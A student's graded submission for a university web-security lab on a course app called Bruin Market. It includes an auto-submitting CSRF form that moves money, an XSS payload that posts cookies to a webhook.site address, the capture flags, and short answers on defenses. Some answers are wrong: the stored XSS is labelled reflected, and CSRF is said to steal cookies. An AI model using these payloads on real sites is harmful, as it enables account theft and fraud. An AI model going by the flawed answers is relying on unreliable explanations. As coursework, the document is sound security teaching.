Assignment 1: Web Security

● Graded

Student

LANA CHLOE LIM

Total Points

25 / 25 pts

Question 1

Win Some, Lose Some More. **4** / 4 pts

1.1 **Flag Submission** **2** / 2 pts

✔ **+ 2 pts** Correct

+ 2 pts `csrfing_all_the_money_away` also accepted.

+ 0 pts Incorrect

1.2 **part1.html** **0** / 0 pts

+ 1 pt Partial Credit

✔ **+ 0 pts** Completed in Part 1.

+ 0 pts Not completed.

1.3 **API Endpoint** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No attempt

1.4 **Same-Origin Policy** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No attempt

Question 2

Selling a Free XSS. **4** / 4 pts

2.1 **Flag Submission** **2** / 2 pts

✔ **+ 2 pts** Correct

+ 2 pts `xss_me_a_cookie_plz` also accepted.

+ 0 pts Incorrect

2.2 **part2.html** **0** / 0 pts

+ 1 pt Partial Credit

✔ **+ 0 pts** Completed in Part 2.

+ 0 pts No submission

2.3 **XSS Type** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No attempt.

2.4 **document.domain** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No attempt.

Question 3

Hacking in Style. **4** / 4 pts

3.1 **Flag Submission** **2** / 2 pts

✔ **+ 2 pts** Correct

+ 2 pts `xs_leak_me_a_gift` also accepted.

+ 0 pts Incorrect

3.2 **part3.css** **0** / 0 pts

+ 1 pt Partial Credit

✔ **+ 0 pts** Completed in Part 3.

+ 0 pts Incorrect

3.3 **CSS Attribute Selector** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No attempt.

3.4 **Content-Security Policy Error** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No attempt.

Question 4

If You Give a Hacker A Cookie. **4** / 4 pts

4.1 **Defense Success/Attempt** **2** / 2 pts

✔ **+ 2 pts** Defenses successful.

+ 1 pt Defenses failed but attempted.

+ 0 pts No attempt.

4.2 **Pros & Cons of SameSite Cookies** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No attempt.

4.3 **CSRF Threat Model** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No attempt.

Question 5

Out of iFrame, Out of Mind. **4** / 4 pts

5.1 **Defense Success/Attempt** **2** / 2 pts

✔ **+ 2 pts** Defenses successful.

+ 1 pt Defenses failed but attempted.

+ 0 pts No attempt.

5.2 **XSS Mitigations** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No attempt.

5.3 **XSS Threat Model** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No attempt.

Question 6

What's the Policy Here? **4** / 4 pts

6.1 **Defense Success/Attempt** **2** / 2 pts

✔ **+ 2 pts** Defenses successful.

+ 1 pt Defenses failed but attempt.

+ 0 pts No attempt.

6.2 **Missing Content-Security Policy** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No attempt.

6.3 **Privacy Concerns** **1** / 1 pt

✔ **+ 1 pt** Attempt

+ 0 pts No attempt.

Question 7

bruin-market.tgz & report.pdf Submission **1** / 1 pt

✔ **+ 1 pt** Submitted both `bruin-market.tgz` and `report.pdf`

+ 0 pts Missing `bruin-market.tgz`.

Q1 Win Some, Lose Some More.

4 Points

The first part of this assignment involves implementing a Cross-Site Request Forgery (CSRF) attack. After creating an account on Bruin Market and visiting the /profile page, you will notice that each account starts with a balance of $1000. There you will also notice a feature where users can transfer funds from one account to another. Your goal is to craft a web page using an HTML Form which when visited by the user will automatically transfer $100 from the user's account to your own. It is recommended that you deploy this webpage using Ngrok.

Q1.1 Flag Submission

2 Points

Submit your payload URL deployed using Ngrok to http://admin-bot.ece117.com/part1. You should receive a flag value in the pattern flag{.*}.

Submit your version of the flag.

flag{csrfing_all_the_money_away}

Q1.2 part1.html
0 Points

Submit your payload in `part1.html`.

part1.html Download

```
<!doctype html>
<html>
 <h1>Login Page</h1>

 <body>
  <form action="https://bruin-market.ece117.com//api/transfer" method="POST">
   <input name="receiver" value="lana1"/>
   <input name="amount" value="100" />
  </form>
  <script>
   window.onload = function () {
    document.forms[0].submit();
   };
  </script>
 </body>
</html>

```

Q1.3 API Endpoint
1 Point

Which API endpoint is vulnerable to CSRF? Why?

POST is vulnerable to CSRF. In CSRF attacks, the attacker is able to forge requests to a server as if they were written by an authenticated user. This becomes dangerous when the user has the credentials to make certain state-changing operations via the POST API endpoint.

Q1.4 Same-Origin Policy
1 Point

Try crafting an exploit that uses the Fetch API rather than an HTML Form to automatically make a request to the server. Why does the fetch request fail and the HTML Form does not? (Hint: Same-Origin Policy).

When using the Fetch API to make a cross-origin request, the browser enforces the Same-Origin Policy and blocks the request. An HTML form, on the other hand, can submit data to a different domain as part of a form submission. In this case, the browser considers it a user-initiated action, and the server may respond accordingly. This is known as a form submission being exempt from the Same-Origin Policy.

Q2 Selling a Free XSS.

4 Points

The second part of this assignment involves implementing a Cross-Site Scripting (XSS) attack. A major feature of Bruin Market involves users creating postings for their own items to sell to other users on the /market page. Your goal is to create an item which when a user visits the page will run a payload which will exfiltrate the users' cookies to a site you control. It is recommended that you use webhook.site as your external server rather than set up your own. Note: You can assume that the user will have a cookie called flag that is not HttpOnly.

Q2.1 Flag Submission

2 Points

Submit your payload URL deployed to http://admin-bot.ece117.com/part2. You should receive a flag value in the pattern flag{.*}.

Submit your version of the flag here.

flag{xss_me_a_cookie_plz}

Q2.2 part2.html

0 Points

Upload your payload in `part2.html`.

part2.html Download

```
1 <script>fetch("https://webhook.site/8770efd7-6410-4b4b-952f-5814f24cce65", {method: "POST", body:document.cookie});</script>
```

Q2.3 XSS Type

1 Point

Is this a DOM-based, Reflected, or Stored-XSS? Why?

Reflected-XSS. The attack script is reflected back to the user as part of a page from the victim site. In this XSS attack, the user visits a page displaying the market item with an empty description. The page runs a payload in the URL which exfiltrates the users' cookies to a site you control.

Q2.4 document.domain
1 Point

First, try getting the following payload to run on the website: alert(document.domain). What is the value output by this alert? What is the meaning of this particular value and why is it dangerous for the application?

alert(document.domain) outputs 'bruin-market.ece117.com'. This is the domain portion of the document's origin. There are security issues related to the use of 'document.domain' in certain contexts. For instance, changing the value of document.domain can relax the same-origin policy and allow for cross-origin communication if 2 origins are set with the same document.domain. It is dangerous for an application because an attacker can access its sensitive data.

Q3 Hacking in Style.

4 Points

The third part of this assignment involves implementing a CSS Injection attack which belongs to a class of vulnerabilities known as XS-Leaks. Visiting the /gift endpoint, you see a special feature where a user can send a gift to another user containing a secret 3-digit gift card code. However, as a hacker, you want to redeem this code for yourself rather than allow someone else to use it! 😉Your goal is to exfiltrate the secret code included on the /gift/view page sent to the user. If you run into an issue with payload size, you can also try deploying your script using Ngrok and using the @import CSS decorator. Hint: Creating larger payloads is a bit tricky to do by hand. Try writing a script using either Bash or Python to generate your payload.

Q3.1 Flag Submission

2 Points

Submit your payload URL to http://admin-bot.ece117.com/part3. If you are using Ngrok, make sure to submit your Ngrok URL as well. You should receive a flag value in the pattern flag{.*}.

Submit your version of the flag here.

flag{xs_leak_me_a_gift}

Q3.2 part3.css

0 Points

Submit your payload in `part3.css`.

▾ part3.css	Download
1	Large file hidden. You can download it using the button above.

Q3.3 CSS Attribute Selector
1 Point

What is the CSS Attribute Selector for the gift code on the /gift/view page? Is it possible to select an attribute by value?

The CSS Attribute Selector targets a 'div' element with the attribute 'value' of the gift code on the /gift/view page. It is possible to select an attribute by value as we did in Part 3. In the gift-view.html, the 'div' element has 2 attributes: 'id' and 'value'. 'id' is always set to "code" while 'value' represents the 3-digit code used to redeem the gift. By enumerating through all possible combinations of the 3-digit code using the CSS Attribute Selector, we can match one instance to the value of the attribute 'value'.

Q3.4 Content-Security Policy Error
1 Point

Try injecting an XSS payload, similar to Part 1. What is the error reported in the browser console?

Refused to execute a script because its hash, its nonce, or 'unsafe-inline' does not appear in the script-src directive of the Content Security Policy.

Q4 If You Give a Hacker A Cookie.

4 Points

Q4.1 Defense Success/Attempt

2 Points

Make sure to include your defense in `bruin-market.tgz`. This question is here for grading purposes.

Q4.2 Pros & Cons of SameSite Cookies
1 Point

What are the pros and cons of using SameSite cookie flags as opposed to different mitigations for CSRF? Select at least one other defense to compare and contrast (e.g. CSRF cookies).

SameSite cookie flags allow you as the developer to control the context of which a user's cookies are sent. If you set SameSite to Strict, the cookie will only be sent if the site for the cookie matches the site currently shown in the browser's URL bar. CSRF attacks are avoided because cookies aren't sent when a user performs a cross-site action, like visiting a malicious webpage the attacker controls. While this certainly protects the user from CSRF attacks, it restricts some operations that are considered safe and forces the user to reauth more frequently. For example, if the user is on your-project.github.io and requests an image from my-project.github.io, this is a cross-site request: the user has to log in again in order to see the image. SameSite Lax provides a little bit more flexibility by allowing cross-site requests via top-level navigation. However, it is still vulnerable to CSRF since attackers can pop up new windows or trigger top-level navigations to create a "same-site" request. Another strategy to defend against CSRF attacks is by using standard headers to verify origin. There are two steps to this mitigation method, both of which examine an HTTP request header value:
1. Determine the origin that the request is coming from (source origin). Can be done via Origin or Referer headers.
2. Determining the origin that the request is going to (target origin).

At server-side, we verify if both of them match. If they do, we accept the request as legitimate (meaning it's the same origin request) and if they don't, we discard the request (meaning that the request originated from cross-domain). Reliability on these headers comes from the fact that they cannot be altered programmatically as they fall under forbidden headers list, meaning that only the browser can set them. This prevents cross-site forgery since the attacker is unable to modify the header.

Q4.3 CSRF Threat Model
1 Point

Why might CSRF be a major security concern for companies deploying web applications? Describe the threat model for how a CSRF vulnerability could be distributed by hackers using Bruin Market as an example.

The target is Bruin Market. An arbitrary user can create a CSRF attack by sending a link to a user to click on that brings them to a site that they control. This can be distributed via email or message, but can also appear as a Bruin Market listing (since the description box runs javascript code, you can easily create a clickable link that takes you to the malicious site). When a victim visits the site, the hacker obtains a user's cookies and the necessary credentials to forge requests to that server. This becomes even more problematic if the victim is an admin or a special user with unique capabilities/access to the server. This threatens:
1. Confidentiality: breaks the promise that only authorized users have access to sensitive data.
2. Integrity: attacker obtains a user's information and cookie data.
3. Availability: not much so, but a user's access to the service can be interrupted when an attacker forges multiple requests under the user's session.

Q5 Out of iFrame, Out of Mind.

4 Points

Your goal in this part of the assignment is to implement a defense for the XSS exploit you performed in Part 2. This defense involves incorporating isolation by taking advantage of the iFrame sandbox. Note that your goal is not to prevent JavaScript from running but to allow it to run in a sandboxed context isolated from the same origin (i.e. alert(document.domain) should still run but is not on the same origin). A sanity check for this part should be that your exploit from Part 2 should be mitigated by your defense.

Q5.1 Defense Success/Attempt

2 Points

Make sure to include your defense in `bruin-market.tgz`. This question is here for grading purposes.

Q5.2 XSS Mitigations

1 Point

What is one other possible defense besides the iFrame sandbox to mitigate XSS? For this response, you can consider solutions which prevent running JavaScript but explain pros and cons of such solutions.

One other possible defense besides the iFrame sandbox is output filtering/encoding. You can remove/encode (X)HTML special chars to only allow for safe commands. However, the downside of this method is that there are multiple 'filter evasion' tricks to bypass filtering/encoding. Also, there are other ways to run script code without the explicit <script> tag.

Q5.3 XSS Threat Model
1 Point

Why might XSS be a major security concern for companies deploying web applications? Describe the threat model for how a XSS vulnerability could be used by hackers with Bruin Market as an example. One example you might want to learn about is Samy’s Worm.

The target is Bruin Market. An arbitrary user can create an XSS attack by injecting malicious scripts to steal sensitive information or manipulate the content displayed on the affected web page. In this case, an attacker can write javascript code in the description box when creating a new listing and have it run the code when they create the item. In part 2, confidentiality is the most threatened since you are able to retrieve a user's information and cookies by the payload you inject in the textbox.

Samy's worm was an cross-site scripting worm that was relatively harmless; it carried a payload that would display the string "but most of all, samy is my hero" on a victim's MySpace profile page as well as send Samy a friend request. When a user viewed an infected profile page, the payload would then be replicated and planted on their own profile page to continue the distribution of the worm.

Q6 What's the Policy Here?

4 Points

Your goal for this part of the assignment is to implement a defense for the CSS Injection exploit you performed in Part 3. This defense involves modifying the Content-Security Policy of the /gift/view page. The tricky part of this is how to properly introduce new restrictions to the CSP without affecting the rest of the site's behavior. A sanity check for this part should be that your exploit from Part 3 should be mitigated by your defense.

Q6.1 Defense Success/Attempt

2 Points

Make sure to include your defense in `bruin-market.tgz`. This question is here for grading purposes.

Q6.2 Missing Content-Security Policy

1 Point

Despite not being able to execute JavaScript, this webpage is still insecure. What is incomplete about the /gift/view page's Content-Security Policy (CSP)?

/gift/view page's Content-Security-Policy only defines script-src to be 'none'. This is incomplete as we saw in Part 3 where we took advantage of the <style> tags to reveal the secret code when sending a gift.

Q6.3 Privacy Concerns

1 Point

A difference between CSS Injection and other vulnerabilities in this lab is that it is purely a privacy-based attack. Describe a threat model for why CSS Injection is a major security concern for companies which have web applications with Personally Identifiable Information (PII).

XS-leaks can be used to infer information about the user. For example, a scroll-to-text fragment inherently gains sensitive information about the page in order to find a specific location to direct the user. This mechanism allows a URL to specify a text snippet and the browser scrolls to and highlights the specific text on the page. This threatens confidentiality of the user if the page contains sensitive data like medical/financial records, etc.

Q7 bruin-market.tgz & report.pdf Submission

1 Point

Upload your files for `bruin-market.tgz` and `report.pdf`. Create `bruin-market.tgz` by runnning `tar -czvf bruin-market.tgz`.

bruin-market.tgz	Download
1	Large file hidden. You can download it using the button above.

report.pdf Download

Your browser does not support PDF previews. You can download the file instead.